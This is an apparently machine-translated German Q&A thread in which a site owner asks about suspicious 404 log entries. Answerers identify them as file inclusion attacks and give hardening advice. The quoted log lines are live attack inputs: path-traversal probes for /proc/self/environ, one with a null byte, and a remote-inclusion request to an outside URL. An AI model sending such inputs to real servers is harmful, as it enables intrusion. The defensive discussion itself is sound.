ist das ein Hackversuch?

Beim Durchsuchen meiner 404-Protokolle sind mir die folgenden zwei URLs aufgefallen, die beide einmal vorkamen:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

und

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

Die betreffende Seite library.phperfordert eine typeVariable mit einem halben Dutzend verschiedener zulässiger Werte und dann eine idVariable. So könnte eine gültige URL sein

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

und die IDs werden alle durchlaufen, mysql_real_escape_stringbevor sie zum Abfragen der Datenbank verwendet werden.

Ich bin ein Anfänger, aber es scheint mir, dass diese beiden Links einfache Angriffe gegen die Webroot sind?

1) Wie schützt man sich neben einem 404 am besten vor solchen Dingen?

2) Soll ich die verantwortlichen IP (s) permabanieren?

EDIT: habe auch gerade diesen bemerkt

/library.php=http://www.basfalt.no/scripts/danger.txt

EDIT 2: Die störende IP für alle drei Angriffe war 216.97.231.15die eines ISPs namens Lunar Pages, der sich etwas außerhalb von Los Angeles befindet.

EDIT 3: Ich habe beschlossen, den ISP am Freitagmorgen Ortszeit anzurufen und das Problem mit demjenigen zu besprechen, den ich am Telefon erreichen kann. Ich werde die Ergebnisse in ungefähr 24 Stunden hier veröffentlichen.

EDIT 4: Am Ende schickte ich ihren Admins eine E-Mail und sie antworteten zuerst, dass "sie sich darum kümmern" und dann einen Tag später mit "Dieses Problem sollte jetzt behoben sein". Leider keine weiteren Details.

0) Ja. Zumindest ist es eine systematische Untersuchung Ihrer Website, um herauszufinden, ob sie anfällig ist.

1) Abgesehen davon, dass Sie sicherstellen, dass Ihr Code sauber ist, können Sie nicht viel tun, sondern Ihre eigenen Tests gegen Ihren Host durchführen, um sicherzustellen, dass er sicher ist. Google Skipfish ist eines der vielen Tools, die Ihnen dabei helfen.

2) würde ich.

Dies ist ein Angriff, der hier ausführlich erklärt wird .

Wie von anderen gesagt: Ja, es ist ein Hack-Versuch. Bitte beachten Sie, dass es zusätzlich zu diesem möglicherweise von Hand gemachten Versuch viele automatisierte Versuche gibt, die von Botnetzen ausgeführt werden. Im Allgemeinen versuchen solche Angriffe, sich durch jahrhundertealte Sicherheitslücken und / oder einige typische Codierungsfehler zu schleichen, z.

Das manuelle Sperren dieser Botnets ist höchstwahrscheinlich unmöglich, da Botnets bis zu Tausenden eindeutiger IP-Adressen verwenden können. Wenn Sie sie also sperren möchten, müssen Sie ein automatisiertes Sperrprogramm verwenden. fail2ban fällt mir ein; mach es, um auf mod_security-Ereignisse oder andere Protokolleinträge zu reagieren.

Wenn Ihr Code sauber und servergehärtet ist, sind diese Hackversuche nur störend für die Protokollverschmutzung. Es ist jedoch besser, Vorsichtsmaßnahmen zu treffen und einige oder alle der folgenden Punkte in Betracht zu ziehen, je nach Ihren Anforderungen:

• mod_security ist ein Apache-Modul, das alle typischen Hacking-Versuche herausfiltert. Es kann auch den ausgehenden Datenverkehr einschränken (die Seite, die Ihr Server an einen Client senden würde), wenn verdächtiges JavaScript usw. erkannt wird.

• Suhosin für die Härtung von PHP selbst.

• Führen Sie Ihre PHP-Skripte als Benutzer aus, dem das Skript gehört. Dinge wie suphp und php-fpm machen das möglich.

• Hängen Sie Ihr temporäres Webroot- und PHP-Verzeichnis als noexec, nosuid, nodev ein .

• Deaktivieren Sie nicht benötigte PHP-Funktionen wie System und Durchgang .

• Deaktivieren Sie nicht benötigte PHP-Module. Wenn Sie beispielsweise keine IMAP-Unterstützung benötigen, aktivieren Sie diese nicht.

• Halten Sie Ihren Server auf dem neuesten Stand.

• Behalten Sie die Protokolle im Auge.

• Stellen Sie sicher, dass Sie Backups haben.

• Planen Sie, was zu tun ist, wenn Sie von jemandem gehackt werden oder eine andere Katastrophe Sie trifft.

Das ist ein guter Anfang. Dann gibt es noch extremere Maßnahmen wie Snort und Prelude , aber sie können für die meisten Setups sehr übertrieben sein.

Es ist sehr wahrscheinlich, dass es sich bei der Maschine, die diese Abfragen durchführt, um einen Botnet-Zombie handelt. Wenn Sie diese Anfragen von mehreren IPs erhalten, lohnt es sich wahrscheinlich nicht, sie zu sperren, da Sie die Hälfte des Internets sperren müssten, um effektiv zu sein.

Wie bereits gesagt - es ist ein Versuch, auf die Datei / proc / self / environ zuzugreifen, um weitere Informationen zu erhalten.

Ich nehme an, es ist eine Linux-Maschine:

Du solltest benutzen

• suhosin ( http://www.hardened-php.net/suhosin/ ) - Schützt PHP-Skripte
• benutze php openbasedir einschränkung
• fail2ban http://www.fail2ban.org/

Sie können die IP eines angreifenden Servers blockieren, Sie sollten jedoch berücksichtigen, dass dieser Server in der Funktion nicht angreifen kann.

Früher habe ich einige Dienste blockiert, wenn mein Server angegriffen wurde: http / https / pop / imap / ssh, aber lassen Sie smtp offen, damit Sie benachrichtigt werden, wenn Sie einen Fehler gemacht haben.

Ja, es ist ein Angriffsversuch. Sie sollten das IP definitiv verbieten. Wenn Sie feststellen, dass sich die IP außerhalb des Landes befindet, möchten Sie möglicherweise nur das gesamte Subnetz sperren, zu dem sie gehört. Dies ist weniger ein Codeproblem als ein Serverproblem. Suchen Sie nach dieser bestimmten Sicherheitsverletzung und stellen Sie sicher, dass Ihr Hosting-Anbieter nicht für diese oder ähnliche Skript-Kiddie-Versuche anfällig ist (so sieht diese aus).

Dies ist ein Versuch, eine potenzielle Sicherheitsanfälligkeit bezüglich der Aufnahme beliebiger lokaler Dateien in serverseitige Skripts auszunutzen, auf die über Ihren Webserver zugegriffen werden kann. Auf einem anfälligen Linux-System /proc/self/environkann missbraucht werden, um beliebigen Code serverseitig auszuführen.

Wie von Janne Pikkarainen empfohlen:

Behalten Sie die Protokolle im Auge.

Stellen Sie sicher, dass Sie Backups haben.

Als Teil dieser Protokolle ist es wichtig, Änderungen an Ihren Dateien, einschließlich Ihrer Website, als Teil eines Intrusion Detection-Systems zu überwachen. Ein Beispiel ist OpenBSD, das dies standardmäßig für die Konfigurationsdateien tut. Ich spreche das an, weil:

• Für Cloud-Sites wurden geringfügige Änderungen an PHP-Dateien auf einer benutzerdefinierten Website vorgenommen (dies gab lediglich ein nicht standardmäßiges Tag aus, war jedoch möglicherweise Teil eines Tests zum Messen der Größe des Exploits).
• Für einen Mitarbeiter gab es subtile Weiterleitungen in der .htaccess-Datei von WordPress (nur Verweise aus den Google-Suchergebnissen).
• Für einen anderen Mitarbeiter gab es subtile Änderungen an der Joomla-Konfigurationsdatei (kann mich nicht erinnern, was, ich denke, es war auch eine Weiterleitung unter bestimmten Bedingungen).